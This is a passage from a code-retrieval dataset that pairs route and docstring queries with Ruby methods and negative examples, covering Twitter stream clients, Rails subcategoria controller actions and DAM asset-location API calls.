"def wait_for_tweets\n tweets = nil\n last_tweets = nil\n\n Thread.new do\n @@context[:twitter_thread] = Thread.current\n while true do\n\n # Don't load anything if the app is busy in config mode or whatever.\n # (I wish shoes supported multiple windows ^^;)\n unless @@context[:busy]\n # Ask Twitter.\n @@context[:twitter_check] = Time.now\n tweets = @@context[:twitter].tweets\n @@context[:twitter_check] = nil\n end\n\n # Display timeline if needed, then wait until it's time to reload\n # again...\n @@context[:seconds_to_reload] = @@context[:sleeptime]\n if last_tweets.nil? || \n tweets.zip(last_tweets).any? {|t,l|t.created_at!=l.created_at} ||\n @@context[:tweets_flow] == nil\n display_tweets(tweets)\n end\n last_tweets = tweets\n @status_msg.replace \"\"\n sleep 1 until 0 >= (@@context[:seconds_to_reload] -= 1)\n end\n end\n end",
"def consume_json stream_method=:common\n raise ArgumentError, \"Block required, non given\" unless block_given?\n if stream_method == :common\n read_stream do |data|\n yield(data.map{|item| parse_json(item)})\n end\n elsif stream_method == :io\n read_io_stream do |data|\n yield(parse_json(data))\n end\n elsif stream_method == :pty\n read_pty_stream do |data|\n yield(parse_json(data))\n end\n else\n raise ArgumentError, \"Undefined stream method #{stream_method}\"\n end\n end",
"def start_twitter_stream\n @twitter_stream = Twitter::JSONStream.connect(\n :path => '/1/statuses/filter.json',\n :auth => Settings.twitter_auth,\n :method => 'POST',\n :content => 'track='+URI.encode(@track.join(','))\n )\n @twitter_stream.each_item(&method(:on_stream_receive))\n @twitter_stream.on_error(&method(:on_stream_error))\n @twitter_stream.on_reconnect(&method(:on_stream_reconnect))\n @twitter_stream.on_max_reconnects(&method(:on_stream_max_reconnects))\n end",
"def start!\n # Copy the current set of user ids to an array so we can know which user ids\n # haven't yet been tracked in this stream.\n @current_user_ids = @user_ids\n \n @stream = Twitter::JSONStream.connect(\n :host => 'betastream.twitter.com',\n :path => '/2b/site.json',\n :oauth => {\n :consumer_key => PreyFetcher::config(:twitter_consumer_key),\n :consumer_secret => PreyFetcher::config(:twitter_consumer_secret),\n :access_key => PreyFetcher::config(:twitter_access_key),\n :access_secret => PreyFetcher::config(:twitter_access_secret)\n },\n :method => 'POST',\n :filters => @user_ids,\n :user_agent => PreyFetcher::config(:app_user_agent)\n )\n \n @stream.each_item do |item|\n tweet = SiteStream::parse_from_stream(item)\n \n SiteStream::deliver(tweet)\n \n # Check for a friends/following message\n if tweet && tweet['for_user'] && tweet['message'] && tweet['message']['friends']\n # Get the user this message belongs to\n user = User.first(:twitter_user_id => tweet['for_user'])\n user.update(:following_serialized => tweet['message']['friends'])\n end\n end\n \n @stream.on_error do |message|\n Log.info message\n end\n \n @stream.on_max_reconnects do |timeout, retries|\n end\n end",
"def connect\n uri = URI.parse(\"https://userstream.twitter.com/2/user.json?track=#{@screen_name}\")\n\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = true\n https.ca_file = @ca_file\n https.verify_mode = OpenSSL::SSL::VERIFY_PEER\n https.verify_depth = 5\n\n https.start do |https|\n request = Net::HTTP::Get.new(uri.request_uri,\n \"User-Agent\" => @user_agent,\n \"Accept-Encoding\" => \"identity\")\n request.oauth!(https, @credential.consumer, @credential.access_token)\n\n buf = \"\"\n https.request(request) do |response|\n response.read_body do |chunk|\n buf << chunk\n while ((line = buf[/.+?(\\r\\n)+/m]) != nil)\n begin\n buf.sub!(line, \"\")\n line.strip!\n status = Yajl::Parser.parse(line)\n rescue\n break\n end\n\n yield status\n end\n end\n end\n end\n end",
"def stream_connect(params)\n puts('-- stream connect')\n @options = {\n timeout: 0,\n method: 'get',\n headers: {\n \"User-Agent\": 'v2FilteredStreamRuby',\n \"Authorization\": \"Bearer #{@bearer_token}\"\n },\n params: params\n }\n @request = Typhoeus::Request.new(@stream_url, @options)\n @request.on_body do |chunk|\n if chunk.eql?(\"\\r\\n\")\n else\n response = JSON.parse(chunk).to_h\n ap response\n doc = response['data']\n doc['users'] = response ['includes']['users']\n # insert the tweet object into the DB\n id = TWDB[opts[:tweetcoll]].insert_one(doc)\n puts \"\\n----------------------------\\n\"\n puts \"#{Time.now - @t} secs since last event\"\n @t = Time.now\n end\n end\n @request.run\nend",
"def launch_twitter_listener\n @twitter_thread = Thread.new do\n client = TweetStream::Client.new(@twitter_username, @twitter_password)\n client.follow(@twitter_profile['id']) do |tweet|\n # If we get a matching word on our watchlist lets set the user watchword triggered\n @twitter_keywords.each { |word| twitter_alert!(word) if tweet[:text].match(word) }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET admin/subcategorias/1 GET admin/subcategorias/1.json
|
def show
@subcategoria = Subcategoria.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render :json => @subcategoria }
end
end
|
[
"def show\n @subcategoria = Subcategoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subcategoria }\n end\n end",
"def show\n @subcategorization = Subcategorization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subcategorization }\n end\n end",
"def index\n @subcategorizations = Subcategorization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subcategorizations }\n end\n end",
"def show\n @subcategorium = Subcategorium.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subcategorium }\n end\n end",
"def index\n @admin_sub_categories = Admin::SubCategory.all\n end",
"def new\n @categorias = Categoria.all\n @subcategoria = Subcategoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategoria }\n end\n end",
"def show\n @home_categories_sub = Home::Categories::Sub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_categories_sub }\n end\n end",
"def index\n @rcadmin_subcategories = Rcadmin::Subcategory.all\n end",
"def get_subcategory\n @subcategories = EventCategoryMaster.find_subcategory(params[:id])\n respond_to do |format|\n format.json { render :json => @subcategories }\n end\n end",
"def new\n @subcategoria = Subcategoria.new\n @subcategoria.status = Status.find_by_descricao('Ativo')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @subcategoria }\n end\n end",
"def show\n render json: @categoria\n end",
"def demo_subcategories(id)\n self.class.get(\"/demos/subcategories/#{id}/demos\", @options)\n end",
"def new\n @subcategorization = Subcategorization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategorization }\n end\n end",
"def new\n @subcat = Subcat.new\n \n @categories = Category.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcat }\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to [:admin, @subcategoria], :notice => 'Subcategorias was successfully created.' }\n format.json { render :json => @subcategoria, :status => :created, :location => @subcategoria }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @subcat = Subcat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subcat }\n end\n end",
"def index\n if params[:categoria_producto]\n render json: Producto.find(params[:producto_id]).categorias\n else\n\t\t @categorias = Categoria.all\n render json: @categorias\n end\n\tend",
"def show\n @subcategoria = Subcategoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subcategoria }\n end\n end",
"def new\n @home_categories_sub = Home::Categories::Sub.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @home_categories_sub }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET admin/subcategorias/new GET admin/subcategorias/new.json
|
def new
@subcategoria = Subcategoria.new
@subcategoria.status = Status.find_by_descricao('Ativo')
respond_to do |format|
format.html # new.html.erb
format.json { render :json => @subcategoria }
end
end
|
[
"def new\n @categorias = Categoria.all\n @subcategoria = Subcategoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategoria }\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to [:admin, @subcategoria], :notice => 'Subcategorias was successfully created.' }\n format.json { render :json => @subcategoria, :status => :created, :location => @subcategoria }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @subcategorization = Subcategorization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategorization }\n end\n end",
"def new\n @subcat = Subcat.new\n \n @categories = Category.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcat }\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to @subcategoria, notice: 'Subcategoria was successfully created.' }\n format.json { render json: @subcategoria, status: :created, location: @subcategoria }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subcategoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @sub_categories_d = SubCategoriesD.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sub_categories_d }\n end\n end",
"def new\n @home_categories_sub = Home::Categories::Sub.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @home_categories_sub }\n end\n end",
"def new\n @categorias_tipo = CatTipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @categorias_tipo }\n end\n end",
"def new\n @subcategoria = Subcategoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subcategoria }\n end\n end",
"def new\n @admin_category = Category.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @admin_category }\n end\n end",
"def new\n @categoria = Categoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @categoria }\n end\n end",
"def create\n @subcategorization = Subcategorization.new(params[:subcategorization])\n\n respond_to do |format|\n if @subcategorization.save\n format.html { redirect_to @subcategorization, notice: 'Subcategorization was successfully created.' }\n format.json { render json: @subcategorization, status: :created, location: @subcategorization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subcategorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @subcategory = Subcategory.new\n @categories = Category.all\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategory }\n end\n end",
"def new\n @categorize = Categorize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @categorize }\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to(@subcategoria, :notice => 'Subcategoria was successfully created.') }\n format.xml { render :xml => @subcategoria, :status => :created, :location => @subcategoria }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_sub_category = Admin::SubCategory.new(admin_sub_category_params)\n\n respond_to do |format|\n if @admin_sub_category.save\n format.html { redirect_to @admin_sub_category, notice: 'Sub category was successfully created.' }\n format.json { render :show, status: :created, location: @admin_sub_category }\n else\n format.html { render :new }\n format.json { render json: @admin_sub_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @sub_category = SubCategory.new\n end",
"def create\n @admin_sub_category = SubCategory.new(admin_sub_category_params)\n\n respond_to do |format|\n if @admin_sub_category.save\n format.html { redirect_to admin_category_sub_categories_path(@admin_category), notice: 'Sub category was successfully created.' }\n format.json { render :show, status: :created, location: @admin_sub_category }\n else\n format.html { render :new }\n format.json { render json: @admin_sub_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\r\n @administration_category = Category.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @administration_category }\r\n end\r\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST admin/subcategorias POST admin/subcategorias.json
|
def create
@subcategoria = Subcategoria.new(params[:subcategoria])
respond_to do |format|
if @subcategoria.save
format.html { redirect_to [:admin, @subcategoria], :notice => 'Subcategorias was successfully created.' }
format.json { render :json => @subcategoria, :status => :created, :location => @subcategoria }
else
format.html { render :action => "new" }
format.json { render :json => @subcategoria.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to @subcategoria, notice: 'Subcategoria was successfully created.' }\n format.json { render json: @subcategoria, status: :created, location: @subcategoria }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subcategoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @categorias = Categoria.all\n @subcategoria = Subcategoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategoria }\n end\n end",
"def create\n @subcategorization = Subcategorization.new(params[:subcategorization])\n\n respond_to do |format|\n if @subcategorization.save\n format.html { redirect_to @subcategorization, notice: 'Subcategorization was successfully created.' }\n format.json { render json: @subcategorization, status: :created, location: @subcategorization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subcategorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_sub_category = Admin::SubCategory.new(admin_sub_category_params)\n\n respond_to do |format|\n if @admin_sub_category.save\n format.html { redirect_to @admin_sub_category, notice: 'Sub category was successfully created.' }\n format.json { render :show, status: :created, location: @admin_sub_category }\n else\n format.html { render :new }\n format.json { render json: @admin_sub_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_sub_category = SubCategory.new(admin_sub_category_params)\n\n respond_to do |format|\n if @admin_sub_category.save\n format.html { redirect_to admin_category_sub_categories_path(@admin_category), notice: 'Sub category was successfully created.' }\n format.json { render :show, status: :created, location: @admin_sub_category }\n else\n format.html { render :new }\n format.json { render json: @admin_sub_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subcategoriaproduto = Subcategoriaproduto.new(subcategoriaproduto_params)\n\n respond_to do |format|\n if @subcategoriaproduto.save\n format.html { redirect_to @subcategoriaproduto, notice: 'Subcategoriaproduto was successfully created.' }\n format.json { render :show, status: :created, location: @subcategoriaproduto }\n else\n format.html { render :new }\n format.json { render json: @subcategoriaproduto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to(@subcategoria, :notice => 'Subcategoria was successfully created.') }\n format.xml { render :xml => @subcategoria, :status => :created, :location => @subcategoria }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_sub\n @sub_category = SubCategory.new(sub_category_params)\n @category = Category.find(@sub_category.CategoryId)\n @sub_categories = SubCategory.where(CategoryId: @category.id)\n respond_to do |format|\n if @sub_category.save\n format.html { redirect_to @category, notice: 'Sub category was successfully created.' }\n format.json { render :show, status: :created, location: @sub_category }\n else\n format.html { render :show, notice: '<div class=\"alert alert-error\">添加失败</div>' }\n format.json { render json: @sub_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subcategorium = Subcategorium.new(subcategorium_params)\n\n respond_to do |format|\n if @subcategorium.save\n format.html { redirect_to @subcategorium, notice: 'Subcategorium was successfully created.' }\n format.json { render :show, status: :created, location: @subcategorium }\n else\n format.html { render :new }\n format.json { render json: @subcategorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @subcategorization = Subcategorization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcategorization }\n end\n end",
"def new\n @subcategoria = Subcategoria.new\n @subcategoria.status = Status.find_by_descricao('Ativo')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @subcategoria }\n end\n end",
"def new\n @subcat = Subcat.new\n \n @categories = Category.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subcat }\n end\n end",
"def create\n @categoria = Categoria.new(categoria_params)\n if @categoria.save\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end",
"def create\n @categoria = Categoria.new(params[:categoria])\n\n respond_to do |format|\n if @categoria.save\n format.html { redirect_to [:admin, @categoria], :notice => 'Exemplo was successfully created.' }\n format.json { render :json => @categoria, :status => :created, :location => @categoria }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @categoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sub_categories_d = SubCategoriesD.new(params[:sub_categories_d])\n\n respond_to do |format|\n if @sub_categories_d.save\n format.html { redirect_to @sub_categories_d, notice: 'Sub categories d was successfully created.' }\n format.json { render json: @sub_categories_d, status: :created, location: @sub_categories_d }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sub_categories_d.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subcategory = @category.subcategories.build(params[:subcategory])\n\n respond_to do |format|\n if @subcategory.save\n flash[:notice] = '二级分类添加成功.'\n format.html { redirect_to(kadmin_category_subcategories_url(@category)) }\n format.xml { render :xml => @subcategory, :status => :created, :location => @subcategory }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subcategory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n @categorias_tipo = CatTipo.new(params[:cat_tipo])\n\n\t\trespond_to do |format|\n\t\t\tif @categorias_tipo.save\n \t\t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n\t\t\t\t\n\t\t\t\n\n format.html { redirect_to cat_tipos_path, notice: 'OK' }\n format.json { render json: @categorias_tipo, status: :created, location: @categorias_tipo }\n\t\t\telse\n format.html { render action: \"new\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n \tend\t\n\t\tend\n\tend",
"def new\n @home_categories_sub = Home::Categories::Sub.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @home_categories_sub }\n end\n end",
"def new\n @sub_categories_d = SubCategoriesD.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sub_categories_d }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT admin/subcategorias/1 PUT admin/subcategorias/1.json
|
def update
@subcategoria = Subcategoria.find(params[:id])
respond_to do |format|
if @subcategoria.update_attributes(params[:subcategoria])
format.html { redirect_to [:admin, @subcategoria], :notice => 'Exemplo was successfully updated.' }
format.json { head :ok }
else
format.html { render :action => "edit" }
format.json { render :json => @subcategoria.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def update\n @subcategoria = Subcategoria.find(params[:id])\n\n respond_to do |format|\n if @subcategoria.update_attributes(params[:subcategoria])\n format.html { redirect_to @subcategoria, notice: 'Subcategoria was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subcategoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sub_categoria = SubCategoria.find(params[:id])\n @sub_categoria.update_attributes(params[:sub_categoria])\n render :layout => false\n end",
"def update\n respond_to do |format|\n if @sub_categoria.update(sub_categoria_params)\n format.html { redirect_to @sub_categoria.categoria, notice: 'Sub categoria was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sub_categoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subcategorization = Subcategorization.find(params[:id])\n\n respond_to do |format|\n if @subcategorization.update_attributes(params[:subcategorization])\n format.html { redirect_to @subcategorization, notice: 'Subcategorization was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subcategorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @subcategoria = Subcategoria.find(params[:id])\n @subcategoria.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to admin_subcategorias_path }\n format.json { head :ok }\n end\n end",
"def update\n @subcategoria = Subcategoria.find(params[:id])\n\n respond_to do |format|\n if @subcategoria.update_attributes(params[:subcategoria])\n format.html { redirect_to(@subcategoria, :notice => 'Subcategoria was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to [:admin, @subcategoria], :notice => 'Subcategorias was successfully created.' }\n format.json { render :json => @subcategoria, :status => :created, :location => @subcategoria }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subcategoriaproduto.update(subcategoriaproduto_params)\n format.html { redirect_to @subcategoriaproduto, notice: 'Subcategoriaproduto was successfully updated.' }\n format.json { render :show, status: :ok, location: @subcategoriaproduto }\n else\n format.html { render :edit }\n format.json { render json: @subcategoriaproduto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:sub_category].try(:delete, :name)\n @sub_category = SubCategory.find(params[:id])\n @sub_category.update_attributes(params[:sub_category])\n respond_with @sub_category, :location => sub_categories_path\n end",
"def update\n if @categoria.update(categoria_params)\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity \n end\n end",
"def update\n respond_to do |format|\n if @admin_sub_category.update(admin_sub_category_params)\n format.html { redirect_to admin_category_sub_categories_path(@admin_category), notice: 'Sub category was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_sub_category }\n else\n format.html { render :edit }\n format.json { render json: @admin_sub_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @categoria = Categoria.find(params[:id])\n\n respond_to do |format|\n if @categoria.update_attributes(params[:categoria])\n format.html { redirect_to [:admin, @categoria], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @categoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @suba_category.update(suba_category_params)\n format.html { redirect_to @suba_category, notice: 'Suba category was successfully updated.' }\n format.json { render :show, status: :ok, location: @suba_category }\n else\n format.html { render :edit }\n format.json { render json: @suba_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @categorias_tipo = CatTipo.find(params[:id])\n\n respond_to do |format|\n if @categorias_tipo.update_attributes(params[:cat_tipo])\n \t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n format.html { redirect_to cat_tipos_path, notice: 'Categorias tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @subcategoria = Subcategoria.new\n @subcategoria.status = Status.find_by_descricao('Ativo')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @subcategoria }\n end\n end",
"def create\n @subcategoria = Subcategoria.new(params[:subcategoria])\n\n respond_to do |format|\n if @subcategoria.save\n format.html { redirect_to @subcategoria, notice: 'Subcategoria was successfully created.' }\n format.json { render json: @subcategoria, status: :created, location: @subcategoria }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subcategoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @categoria.update(categoria_params)\n format.html { redirect_to @categoria, notice: 'Servico was successfully updated.' }\n format.json { render :show, status: :ok, location: @categoria }\n else\n format.html { render :edit }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @supercategorium = Supercategorium.find(params[:id])\n\n respond_to do |format|\n if @supercategorium.update_attributes(params[:supercategorium])\n format.html { redirect_to @supercategorium, notice: 'Supercategoria actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @supercategorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subcategory = @category.subcategories.find(params[:id])\n\n respond_to do |format|\n if @subcategory.update_attributes(params[:subcategory])\n flash[:notice] = '二级分类修改成功.'\n format.html { redirect_to(kadmin_category_subcategories_url(@category)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subcategory.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE admin/subcategorias/1 DELETE admin/subcategorias/1.json
|
def destroy
@subcategoria = Subcategoria.find(params[:id])
@subcategoria.update_attributes :status => Status.find_by_descricao('Inativo')
respond_to do |format|
format.html { redirect_to admin_subcategorias_path }
format.json { head :ok }
end
end
|
[
"def destroy\n @subcategoria = Subcategoria.find(params[:id])\n @subcategoria.destroy\n\n respond_to do |format|\n format.html { redirect_to subcategorias_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subcategorium = Subcategorium.find(params[:id])\n @subcategorium.destroy\n\n respond_to do |format|\n format.html { redirect_to subcategoria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subcategorization = Subcategorization.find(params[:id])\n @subcategorization.destroy\n\n respond_to do |format|\n format.html { redirect_to subcategorizations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subcategoria = Subcategoria.find(params[:id])\n @subcategoria.destroy\n\n respond_to do |format|\n format.html { redirect_to(subcategorias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subcategorium.destroy\n respond_to do |format|\n format.html { redirect_to subcategoria_url, notice: 'Subcategorium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_sub_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_sub_categories_url, notice: 'Sub category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subcategoriaproduto.destroy\n respond_to do |format|\n format.html { redirect_to subcategoriaprodutos_url, notice: 'Subcategoriaproduto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_sub_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_category_sub_categories_url, notice: 'Sub category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @supercategorium = Supercategorium.find(params[:id])\n @supercategorium.destroy\n\n respond_to do |format|\n format.html { redirect_to supercategoria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub_categories_d = SubCategoriesD.find(params[:id])\n @sub_categories_d.destroy\n\n respond_to do |format|\n format.html { redirect_to sub_categories_ds_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @home_categories_sub = Home::Categories::Sub.find(params[:id])\n @home_categories_sub.destroy\n\n respond_to do |format|\n format.html { redirect_to home_categories_subs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria.destroy\n respond_to do |format|\n format.html { redirect_to categorias_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subcategory = @category.subcategories.find(params[:id])\n @subcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to(kadmin_category_subcategories_url(@category)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subcat = Subcat.find(params[:id])\n @subcat.destroy\n\n respond_to do |format|\n format.html { redirect_to subcats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorias_tipo = CatTipo.find(params[:id])\n @categorias_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to cat_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categorias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categoria_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @suba_category.destroy\n respond_to do |format|\n format.html { redirect_to suba_categories_url, notice: 'Suba category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_sub_category\n params[:category_id]\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
=== Get dam asset locations. Get an asset locations in dam. ==== Parameters options:: (Hash) List of Resource Collection Options shown above can be used as parameter. ==== Example
|
def get_dam_asset_locations(options)
return @client.raw("get", "/content/dam/asset-locations", options)
end
|
[
"def get_dam_asset_locations(options)\n @client.raw('get', '/content/dam/asset-locations', options)\n end",
"def locations(opts = {})\n find_collection(\"locations\", opts)\n end",
"def query_locations(options={}) path = \"/api/v2/locations\"\n get(path, options, AvaTax::VERSION) end",
